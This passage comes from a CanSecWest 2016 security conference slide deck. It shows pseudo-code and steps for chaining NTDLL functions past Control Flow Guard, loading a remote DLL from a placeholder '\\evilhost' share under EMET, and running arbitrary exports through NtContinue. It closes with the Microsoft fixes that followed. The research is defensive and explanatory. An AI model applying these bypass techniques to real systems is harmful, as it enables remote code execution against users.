→ Fields of controlled object (first argument) get propagated to parameters before indirect call → chain functions

→ Last function in chain is the function we want to perform our operation

Page 67: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Example function chain:push fakeString // controlled contentmov eax, [fakeString] // get vtable ptr call [eax + 0x20] // fake virtual function (func1)

func1(fakeString):...push [fakeString + 0x10] // = arg3push [fakeString + 0x04] // = arg2push fakeString // = arg1call [fakeString + 0x08] // = func2

func2(arg1, arg2, arg3):... push arg2 // = [fakeString + 0x04] = CONTEXT*push arg3 // = [fakeString + 0x10] = HANDLEcall [arg1 + 0x0c] // = [fakeString + 0x0c] = SetThreadContext

Page 68: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI

Page 69: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]

Page 70: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]

EBX = Arg1Param1 = EBX

Page 71: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]

EBX = Arg1Param1 = EBX→ Param1 = Arg1

Page 72: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]

EBX = Arg1Param1 = EBX→ Param1 = Arg1

EAX = Arg3ECX = EAX + 0x10Param2 = ECX

Page 73: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString)ESI = [EBX + 0x2c]EIP = ESI→ EIP = [Arg1 + 0x2c]

EBX = Arg1Param1 = EBX→ Param1 = Arg1

EAX = Arg3ECX = EAX + 0x10Param2 = ECX→ Param2 = Arg3 + 0x10

Page 74: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Use of networkx [6] and miasm2 [7] to collect suitable exports:In RtlInsertElementGenericTableFullAvl :

Simple Propagation Summary:

→ EIP = [Arg1 + 0x2c]

→ Param1 = Arg1

→ Param2 = Arg3 + 0x10

Page 75: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

• Load arbitrary remote DLLs under EMET:

→ Chain of five NTDLL functions (Win 8.1 only):RtlLookupElementGenericTableFullAvl (1)RtlInsertElementGenericTableFullAvl (2)RtlLookupElementGenericTableFull (3) RtlTraceDatabaseFind (4)LdrInitShimEngineDynamic (5)Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters

LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18)

Param1 has to be within a module's bounds

Param2: pointer to remote DLL:\\evilhost\exploit.dll

Page 76: Csw2016 gawlik bypassing_differentdefenseschemes

Crash-ResistantExport Dispatching

Page 77: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistant Export Dispatching

Combining Function Chaining and Crash-Resistance

• Function chain allows dispatching exports with max. two parameters MoveFileA(STR, STR) NtGetContextThread(HANDLE, CONTEXT) ...

• After execution of last function in chain an AV is thrown→ Catched when AV happens within callback() of setInterval() !→ Possibility to subsequently execute several function chains:

MoveFileA() + LoadLibrary() → two chains NtGetContextThread() + NtContinue() → two chains WinExec() + WinExec() + WinExec() → three chains :)

Page 78: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

DEMO 4

Crash-Resistant Export Dispatching

Page 79: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistant Export Dispatching

Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain

(2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space

(3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL

(4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode

(5) Read return data of system call and proceed to step (2)

Page 80: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Crash-Resistant Export Dispatching

Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain

(2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space

(3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL

(4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode

(5) Read return data of system call and proceed to step (2)

TNX to Yang Yu forthe NtContinue Trick [5] !

Page 81: Csw2016 gawlik bypassing_differentdefenseschemes

Mitigations

Page 82: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

Mitigations

Fixes and Feedback by Microsoft

• user32 exception handing hardening feature addresses Internet Explorer 7-11 (MS15-124) [8]

• Crash-Resistant issue fixed in MS Edge (MS15-125) [9]

• Control Flow Guard is becoming more fine-grained with each Windows version: → NtContinue is no valid indirect call target in Windows10 RTM

• Code Integrity in MS Edge: - block loading of arbitrary libraries - block child process creation (Windows 10 Insider Preview)

Page 83: Csw2016 gawlik bypassing_differentdefenseschemes

Q & [email protected]

Page 84: Csw2016 gawlik bypassing_differentdefenseschemes

CanSecWest 2016

References

[1] http://www.codeproject.com/Articles/98691/Why-it-s-not-crashing[2] http://www.phreedom.org/presentations/reverse-engineering-ani/reverse-engineering-ani.pdf[3] https://www.exploit-db.com/docs/37276.pdf[4] https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf[5] https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf[6] https://networkx.github.io/[7] https://github.com/cea-sec/miasm/tree/master/miasm2[8] https://technet.microsoft.com/en-us/library/security/ms15-124.aspx[9] https://technet.microsoft.com/en-us/library/security/ms15-125.aspx